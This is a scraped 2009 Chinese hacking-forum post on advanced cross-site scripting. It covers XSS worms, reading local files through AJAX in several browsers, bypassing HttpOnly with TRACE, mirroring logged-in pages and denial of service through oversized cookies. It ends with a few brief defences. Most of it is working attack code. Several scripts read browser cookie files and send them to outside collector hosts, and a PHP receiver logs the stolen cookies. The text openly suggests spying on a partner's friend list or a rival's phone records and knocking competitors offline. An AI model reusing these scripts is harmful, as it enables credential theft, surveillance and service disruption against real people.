XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
3 q( }% J0 i+ G% B. `本帖最后由 racle 于 2009-5-30 09:19 编辑

* N2 I+ h/ N. m# cXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
" p: D% Z1 {0 Y转帖请保留版权

4 E2 `' S& F# }& G' ~6 m

5 c& E) E' n9 |4 f4 \+ V  q1 V-------------------------------------------前言---------------------------------------------------------
1 ^2 G% i- K7 d3 K4 j& [8 L3 @7 H
; T# x6 y* ^8 D/ C/ s3 t
: n4 k- b# |5 O+ T) E+ L本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
0 i4 s; E) V+ q* C. Y# O
/ B% X. z  X% V' g  X' D3 p1 p( b- r
! E2 r+ q" e7 B5 E$ r如果你还未具备基础XSS知识,以下几个文章建议拜读:
) S" @, H6 Y9 D$ W# h: i" Ohttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
5 X' p3 y! Q, [" uhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持



( |: }1 q2 n) N. Z
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
- q! H5 i, [, Q
& m- F6 y# ]9 y7 G8 K希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
3 ~. o& }3 E% C1 [' n$ [9 u# ^0 ~
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
" R) h, I( q6 b/ P9 z$ n
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

5 J+ V. \- }( c! z9 R" b; x- {% BQQ ZONE,校内网XSS     感染过万QQ ZONE.

$ b( ]: m. X9 z6 r9 U$ MOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
0 g3 \4 [' q* {  d8 V- M
..........
: S" a% F$ x# W2 A9 O复制代码------------------------------------------介绍-------------------------------------------------------------
$ N. m2 }7 M: T2 D
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
0 M3 d! t, e. p3 r2 u


( }# |. N( d, Q跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
: P! k; a6 ~  ?1 L8 ?7 b7 Q

% z% R: R" n8 @/ T6 ^
  O2 Z9 f# V# l/ ~0 B+ z0 P如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
0 h9 Y9 w* B. w我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
' S7 Y& Y+ I) }7 k6 {# D# E. D1 \
6 ?1 \' j7 {- ]/ b3 _! @2 Z2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

% B6 w7 z" m* ?" ]& \3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.

; S/ d0 h% M* i5 ?5 h4 Q) j! M
) k0 j( W  ?% b, V( l
------------------------------------------研究正题----------------------------------------------------------
. i1 Y+ @4 g6 O# j8 ^
8 A8 p' V: |) f8 V' V

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
. d: a. W4 j  l! `复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
% z- B( @; R! C/ C8 E  n1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
. }- _( Q; j9 }2 W3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.


* |/ s/ k3 x( E& k( G

5 f" n$ Z$ w6 Y. P  Q8 t
2 S$ [' O+ D$ [3 H! ?(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
) p  M4 ]3 s9 B7 @* Z* }4 d
/ x0 f' }. j) J3 x1 [# a我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
& g7 O: P  w9 P, Y


$ o: P( j+ I% V, t' M; u( n  |: O    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

8 F. O2 X6 x' D  W- z5 G

- @8 r* {/ f, V; ^+ E  d! @) |2 p    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
& o% K$ H7 t1 `. k  E: D


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
8 ]' ^: N! Q3 m0 l; \  f复制代码IE6使用ajax读取本地文件    <script>

8 U. t, U" M( P4 A5 \# U( d    function $(x){return document.getElementById(x)}
0 N4 }0 ^1 A8 C" Z% }
" f; Z% `, S9 N; B& V
) f  c8 X1 [1 u5 w0 K3 b) n$ y! K
    function ajax_obj(){

5 l$ F* o6 h5 J) a    var request = false;
0 L6 `( I/ l# v5 [
    if(window.XMLHttpRequest) {

# m; R( ?8 V! e  r% }" j    request = new XMLHttpRequest();
- I3 X) N5 u  u2 S( R( ^
    } else if(window.ActiveXObject) {
' T7 b7 `. W  j) |) j7 K1 b% y& o
! B: u+ A8 ~" v2 j  H# g8 V) c    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

5 X" t4 g5 }5 v$ f
& y1 F/ L8 p# C' b
  @; k+ @/ b. w1 F    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

2 F$ M' o( u) m9 x- C. u    for(var i=0; i<versions.length; i++) {

) Q. S; B5 |$ s" G    try {
( m# M8 W: k6 I' x! W% M. h) y3 U
6 }8 c( G( z$ U7 ?* t, d7 _: s: o    request = new ActiveXObject(versions);
( M/ U. ~6 j$ M( F) D$ K, [9 `
    } catch(e) {}

- C1 J: r  j" r0 [$ Z( Q; a    }
1 i* Z" L$ R$ L# v  Z6 X
! X8 e9 |$ Q8 L# z1 P+ U% N    }
  c2 K% ?( _! _# \1 ]% ~1 {
    return request;

    }
( e. p! T  k2 v" Q: D2 y6 P4 C
    var _x = ajax_obj();
; q7 p. g* }  F5 y9 {
    function _7or3(_m,action,argv){
0 Y" v- S* E! M1 B+ N$ b" J3 _/ p
+ s- I0 R, J4 f: [6 A* b' F, _. K    _x.open(_m,action,false);

( D" y4 B/ ~! ?* `5 i    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
# z/ Z  F8 F& K% ~! B7 U# T0 T
    _x.send(argv);
1 R' D' f) a' ~
    return _x.responseText;

    }

6 E2 {5 _% g/ }$ s$ U4 g; T

' ^7 p+ c! K  Q% D( y! K& P# R0 s1 |    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

3 o# _: E7 z+ T  X+ f  h, Y8 i    alert(txt);

' Y  A4 V7 j. w5 Q- c4 L6 V/ _7 |

% s0 C8 U7 q- z" l) {    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
' T+ g5 W/ L) v/ e+ t  h
    function $(x){return document.getElementById(x)}
7 v$ r9 S( L# F9 O& ?$ n2 x
8 m- M, W1 T: X& ?" _3 D
3 W) d) L- }6 ^8 O
' J3 ]" l$ i7 s/ S0 y5 H    function ajax_obj(){
0 x/ d, p" y; }
' ?, \3 E7 x% w3 n, V: i    var request = false;
* N/ J$ x, B; K% A# q; n5 w. R
3 c" n' D7 X) n( k    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
5 K2 v  _/ `& W
, x7 ?* z9 t# W: A2 E6 e$ m    } else if(window.ActiveXObject) {
: Z! ]3 E( g  q6 c- v2 F# K) f
. y4 B6 A! b8 N' l% \; `    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


6 D/ M' h3 p5 V7 u, U
8 {  F6 `3 K5 G    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

' R4 E* v3 x1 a1 V9 q9 s    try {
) }3 B; N3 a& U, q' H* V+ @' B- A: `
    request = new ActiveXObject(versions);

" _2 K' I# B* h6 L: S    } catch(e) {}

  ~& J0 p2 g3 Q/ b" F0 A    }
5 _7 t" j: b) ^5 \$ H
    }
& }  w( A/ h! F, K/ c# i
% _8 {+ m8 Y2 O+ G    return request;
$ F, }' g1 d* v- ~
# S1 U6 ]" W! ~; |  r% l2 l    }

    var _x = ajax_obj();

- f+ h& b- \: C& h( J    function _7or3(_m,action,argv){
7 l; N7 S( V3 Z: Z* X2 L
( F5 J* L4 `. q  n4 r    _x.open(_m,action,false);
( J$ K0 B# y5 J7 J8 ^& V  x: ?( U
. s5 M/ W: i1 y8 u' W    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

& ]; U+ s" L4 |( E3 `    _x.send(argv);
% j9 ^* Y" a# K8 R5 D
    return _x.responseText;

9 J' j9 y% L4 g& _: E    }


/ |- U1 @  R* d. }
4 r- w, S; ~2 g( O    var txt=_7or3("GET","1/11.txt",null);

) h- v9 w5 N! b- @1 l3 X    alert(txt);
/ N# k& O' m" q. L! _
7 r. p" _: l5 u$ a4 M
: p) L* G, N: b  p
    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
, @9 Q1 E" s3 O( k! C# {

4 p; N7 p* T9 Y/ G" ?9 s
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
3 i; p8 A) f: v' ~4 {
, ~5 ^8 R2 [1 G4 i% C# O6 s8 [9 U
! A/ n* C4 d, N, Y* V4 ~! @
# I" O$ {- q7 m; i& T2 Z. C. V<?   

/*  

( Y% h. m4 v0 m1 S     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

) I6 J) h+ |; y; R$ \2 \. _     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

* O& ~6 G3 [3 D. o$ U     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
7 ?8 {/ M, ^  g. C: a/ y8 v
header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

, A. v' S5 Q& P" P9 ~% o6 g/*  

: M0 S. [/ M* {) V' @     set header, so just download html file,and open it at local.  

7 C( R4 Z, ]- I" @' W9 M; C*/  
* c3 b4 i1 n( K6 w; s- j" A- J! s
: r% c1 Y' x& b' |: I4 [?>   

: D- O+ o0 w2 v! R- H4 ?0 v<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
9 R, W; ]; w0 D! {
4 k- j1 q9 P# y* Z/ z- @     <input id="input" name="cookie" value="" type="hidden">   

1 U; q4 {* F+ r/ `/ M% i! Q0 K9 C( s</form>   

' U; f0 q8 X2 a$ Y+ [' \1 X4 I! ^; @<script>   

" i; a( ^' e0 [1 hfunction doMyAjax(user)   

  \0 K6 R! M4 Z! G{   

var time = Math.random();   
# r6 {% ?; x* c/ k' w
/*  
- ^. ~, c8 F# S" ^+ }* |5 C
. L( k# G- J: }7 l, Pthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
3 p! m( a- q" k, c$ K
3 c  \7 e) f& j. r4 W" e) k3 Eand so on...  
5 V% s8 _; p: _+ F4 E/ f- j
6 |- [+ }' P1 r/ P$ _5 N*/  

  j3 r+ ~' s' k7 I' A4 G8 lvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
* B5 o  |; r8 \  W. \( s% W
) q9 a: {4 k# y6 k   
: i1 V. W3 U! Y. P1 o% g& `7 \
: [+ C0 |% Z% G. l8 M1 k5 {startRequest(strPer);   


- V5 R0 U% H& E$ n9 I
}   

8 {2 t% Y1 W4 L& w   
, a- `/ W- G5 d3 y. W* A$ n5 s& Z: q
9 e5 m8 ?8 S/ d% O: sfunction Enshellcode(txt)   

{   

var url=new String(txt);   
  `/ b7 N& r+ R) u( v! J; \
var i=0,l=0,k=0,curl="";   

l= url.length;   
' l/ n1 }4 n" Z2 J
' ~* X5 \4 g% n9 p; mfor(;i<l;i++){   

k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
2 D+ Q3 w; P  M, n5 D1 B( q, B
- x: p9 T# ?# E, V% \curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
1 F: N: |9 E9 J9 i# u7 C) D
8 l$ o  W. s+ d% l}   

   
, y' [; T; O2 u7 x$ R
   

var xmlHttp;   
5 X: }( I) x1 i' s& C2 r
# O5 a! M, I# ~! |  ^function createXMLHttp(){   
0 G" y+ l- _) ?, G/ j/ T
     if(window.XMLHttpRequest){   
  f: I8 _: C6 S- W" C9 s
4 l! q6 o0 e. A5 q& K* `xmlHttp = new XMLHttpRequest();           

% S# o0 F% p3 c# }/ p0 q* e2 w6 U     }   

     else if(window.ActiveXObject){   

/ @! \  Z3 S+ `% u# ~4 MxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
; V' l6 j, c1 _5 t3 S1 Z+ ^
     }   
* ~" G! k% X% _/ T& A
8 g' V. B, [( }9 P! f% w- @}   
( S9 w4 |" r4 R8 @
- x! T" \0 f7 J. ]( {+ I   

5 d0 i' P) I8 }, q6 Z1 cfunction startRequest(doUrl){   
; e# B) d% Y8 M! Y
( Y$ o: W8 n) C0 j1 c+ ~   

) F' h9 l% d7 \# ?1 g( q  k0 k: _     createXMLHttp();   
3 Y6 C' h: Q* l3 |: y  ^; O

  m4 X: ^* E) `
     xmlHttp.onreadystatechange = handleStateChange;   
) O4 A* j9 s$ a8 n/ r  m

8 V9 K: H3 r1 I3 s
     xmlHttp.open("GET", doUrl, true);   


0 ?3 z' s) j: F  Z
+ ?( |2 |$ i4 ~! J, F0 B1 N     xmlHttp.send(null);   
- S, ^6 i1 r( y$ d3 i* M

. n+ r( C, D! K9 \3 N2 s


}   
0 k  x9 a* R% T( W3 C
   

8 D$ y9 s1 C1 Q: a+ I: q: ?; zfunction handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

; G. |1 |  t6 s. P9 L, o% J; e     var strResponse = "";   
! y  H! u% W! r2 G7 P5 h
& F; H6 j# o8 T1 d: ~& p8 K     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        

     }   

4 Z' n: N! n" p}   

   
, `5 I" b4 p& ]7 ^
$ L' K) k2 j, V2 a, {  x$ t$ f   

, z# U  Z2 ]" k4 a, }1 Tfunction framekxlzxPost(text)   
7 b8 r0 W; K2 N2 \4 R* H. K
( p: m6 F+ z& w0 c+ a/ {( w{   

5 G6 M0 J' r% i  N( Z0 j7 i8 c" B     document.getElementById("input").value = Enshellcode(text);   
# B( [! B% w1 {2 Q0 R
0 l0 O# |6 `. b     document.getElementById("form").submit();   

}   

" Q6 ]0 H8 U: D! ]   

# ]9 `$ k) w" u* g4 pdoMyAjax("administrator");   
$ B0 W6 C( y; c
   

: `% ]& N2 @+ r( Y</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

! C$ N# w) A6 B4 k6 O7 A( g2 W  V! lvar xmlHttp;  

function createXMLHttp(){  

     if(window.XMLHttpRequest){  

- ]# \( h7 d. l5 J3 l% W3 S         xmlHttp = new XMLHttpRequest();         
$ Z) H8 _0 \) n2 y8 D) e6 l! m
; ~- K8 a7 a" m( W0 ~( t/ b* t$ x     }  
0 i$ j! _; W' s8 l
# Z& t0 w# U- c" U! `- @3 X     else if(window.ActiveXObject){  
4 ~$ J% }% u8 \- L, F
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  

3 Y  j7 I! g5 m7 I# @! p# k; k}  
  G( i$ o) E* b9 x+ N3 A
* H5 P* U7 |% ^+ U   
; {7 O6 X; [  R+ n! V+ u; x. q
function startRequest(doUrl){  

           

) d& y3 }: ^8 G$ c0 ?     createXMLHttp();  

      
3 R6 W5 C, G7 p/ c! |5 Q1 q) S
     xmlHttp.onreadystatechange = handleStateChange;  

      
% @2 v5 x5 o" }. i& o% D# `5 E/ o
+ Z$ c0 H  D+ G1 e: y     xmlHttp.open("GET", doUrl, true);  

      
  `; p( p/ ^! d9 |, c
     xmlHttp.send(null);  

9 A2 n- F, w) \. c6 M# k: W/ v      

' T: {# I1 I. S  ?+ ~" V. `7 _      

}   
/ C, s# \& n' S2 f3 D, v  F8 Y( N
   

; f/ A0 W  g0 V+ r' {. o$ jfunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  
+ Y0 R. }4 e5 o5 @) p
             var strResponse = "";  
. |, G, G' Y' d8 ^$ C* p
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
4 _1 I' e6 }' X% q
               
5 f' \# V. d& M3 `  D0 t1 f. ^
     }  
# a9 v% T8 I6 q  {  ?
}  

   

function doMyAjax(user,file)  
- [8 N' J4 K+ @- R8 p
$ Z' w' _' Q+ \% S; h% x6 h{  
4 d' T+ q6 n# P2 G/ J, |$ e/ d0 ?; L
         var time = Math.random();  
7 z( y1 f0 C1 N% p4 x
6 F1 R9 }) t6 v           
# \: Y$ s9 J3 I" c+ A
" {1 v/ n. q1 W% ?0 S3 T         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

& B1 }6 \# k8 r1 T           
( j/ F: A6 @# K& p5 M
* n1 f- _2 B7 L& U, P: L! K5 |) [         startRequest(strPer);  

      

7 ]- I7 V0 c9 R2 E1 A) y. I}  

! a* ~" N/ h0 v; W   

* c! V; I4 y; E5 p8 [# l! A- @function framekxlzxPost(text)  
! x: n5 B6 P7 c2 U* c
{  

# @( }/ V, \8 {+ T$ W' ~     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

/ l; [/ c9 r6 A; r' w}  

, {/ w3 O& s- B, A) ~1 ^9 p   

* h# s, B& V6 _4 p! z, [, bdoMyAjax('administrator','administrator@alibaba[1].txt');  

- C2 S! H3 m# E% @/ i! F: i) D  X   

</script>



0 q2 \) {2 R) S0 w1 ?
/ Q, ^4 _/ q0 W$ ]- q: ]+ ~1 F( \
9 M8 @3 {$ F- ]5 C% R& t+ m5 c1 Ya.php
+ s7 D1 ^( z. ~) l/ T


<?php      

   
. w4 A* h: m1 v- _: H! I
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
0 _, i! O/ @' Q( B1 n: a- ]
) }0 z$ D5 h. @$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
3 K7 ]+ a- j( S4 x* H; t
+ Q7 X0 J- K- ?fwrite($fp,$_GET["cookie"]);      
( \4 Q$ j! c8 y4 i* a( s
5 Y! h3 j: Q' J8 q( wfclose($fp);   
" x$ E# r2 i2 s
8 \$ W0 c/ ]" E3 B, k' F+ v?>
$ t4 T* t& n6 n/ e复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
; {3 F' n) V2 Z- M" p
* O. V. J& w% Q或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
7 o+ h% C/ H$ E- z; J- ]! L
& Y* w* B) z  |# m) {& u: Q代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
/ q2 G+ \4 ^  l7 r0 A/ x# N
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
; s4 G6 z9 n3 Z8 d
' }) A3 C+ B: N' s5 A//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
/ T8 s/ K, c& x: P
var image = new Image();

' p7 w6 a) ^" D2 @, Gimage.style.width = 0;
# j# I& y' \* A2 z4 X! x0 T
image.style.height = 0;
, i: k- q. r3 s+ M; W; b. c
image.src = s;

}
8 A* d' N! p: @( O, A7 U; o+ f
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
  ]% l7 D# ?, `4 H0 L# K! `这里引用大风的一段简单代码:<script language="javascript">

7 L7 m- O- |8 [6 Evar metastr = "AAAAAAAAAA"; // 10 A
9 X1 F  s1 V- |6 Q' g) z% k) h$ ^
var str = "";

: d/ R/ J% b) w$ F2 c- j' Dwhile (str.length < 4000){
. E* _* p: _2 h% \
. c2 l- B5 ?4 i; i    str += metastr;
. Z2 D6 @+ |' O
, Q7 R- ], @1 D}
9 K! J' Q+ [. J9 F. C4 n( [# n


document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
7 U& U+ @. t7 n
</script>

  |% O# T- ]; W- T+ u, N详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
, b" S: n5 x4 N& [, I1 L复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
9 c8 M7 I+ n7 r# a7 B  z9 p! R攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.

7 \2 y. O9 I1 W2 i; i
8 o$ b0 z# e5 @

; F& o2 U0 F+ K

" o2 |6 t: a0 P/ O: v! b(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
2 n) v$ L/ U( \$ G8 |
. ^& R# l( o9 v- `, k<!--
7 g( H2 z6 a1 A- r& }- F
function normalCookie() {
4 v& `5 o$ H) l
document.cookie = "TheCookieName=CookieValue_httpOnly";
4 A$ S' s! K8 B1 c' ?: b: a% G
7 @$ E4 D# D0 H- N9 I* \5 [( ]alert(document.cookie);

; u0 I9 D) ~  c! K- y+ ^$ I% \$ A}
% u; a+ ?& ?9 @9 ?  \6 ^; w
9 C) K$ J& ^7 b# s( H; [
) d2 x) d8 O+ M- Q6 V& X


function httpOnlyCookie() {
0 S$ J& S: d1 V6 g2 |; L
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
- O7 F# _3 D& M3 C
- K9 H2 |# Y1 T& ~& i7 r! M/ q! Walert(document.cookie);}
6 X* o! C# q! I  {1 Z3 m; t
: x3 L( X( k' C7 }/ q% M

//-->

</script>


3 \" d/ N" I# r4 ^( r" v
7 A3 @6 _( D2 g- C7 i<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
9 p( a. c  ~8 j/ M. p
; X1 M2 P* N0 F) N* V5 E5 U<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
; Z1 V) r8 [' J7 X' N0 [- y


var request = false;
  R3 x& }4 e1 a1 w8 p/ e) u% H+ p
( ~+ @! \6 y- ^5 r4 ^5 C        if(window.XMLHttpRequest) {

: Z1 M- m% Y5 Y. P. ^9 U2 F            request = new XMLHttpRequest();

            if(request.overrideMimeType) {
4 F! N3 E+ S: }$ T; X. e
                request.overrideMimeType('text/xml');

% A2 z  Z% E% n, f" E) V            }
  A0 ]$ u( d, y0 [' L9 @
        } else if(window.ActiveXObject) {
/ D. H4 A5 K; m
# U9 f  u, E2 e  y7 P8 m3 ~! b            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

( E) N/ q: E: d, e( ~4 L                try {
+ v" N5 p2 m. K: {9 R* W0 C9 t
% j0 k6 Y9 D8 d0 A0 u) F$ y# U4 R                    request = new ActiveXObject(versions);

                } catch(e) {}
  c0 }: [3 u4 }! Q' t" i
            }
4 ^9 u* k4 G! ~) X: m
        }

xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);
8 k7 N4 {9 R5 R8 b* _
" A! R; \8 B8 D* u$ pxmlDoc=xmlHttp.responseText;
3 T' `" U2 z6 s
* E3 c- L5 [( ]6 t. `0 K$ ]9 A& Nalert(xmlDoc);

3 ]8 N' j' p1 o# d</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
. L6 K, H0 y' H% L& m* @) z4 Y+ |2 ?
* D5 h2 Q# u. D! @6 v) ~1 c& Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

) \; N1 {$ z  vXmlHttp.open("GET","http://www.google.com",false);
: A. [: U( [2 s# O0 M: L
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

7 ~+ s# |4 P# zXmlHttp.send(null);

var resource=xmlHttp.responseText

4 g7 d( T! T7 Qresource.search(/cookies/);
  E2 c1 N( u0 t
......................
) Y# F, H. d0 J# z4 C3 A
</script>
" |# ?7 j2 L2 I! D0 j9 C4 @
$ |0 |. T$ Q$ D! y, h


4 h( N. q' g- g& j0 K2 x# Z
% t2 O( w: W$ b. N+ C1 W" @0 ^如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

- R7 ~) D8 D0 ~/ u# t[code]

' L7 E' ^* X. f0 s6 ?RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
. w" w2 e$ W# u# ?, [: {
' k8 W3 I2 q: L8 x; YRewriteRule .* - [F]
7 g- x. L- r' r* x
9 [- X1 @( M9 V: \5 V. ^8 m! F, n( r
$ j) A1 R0 j" g% t! ?$ l
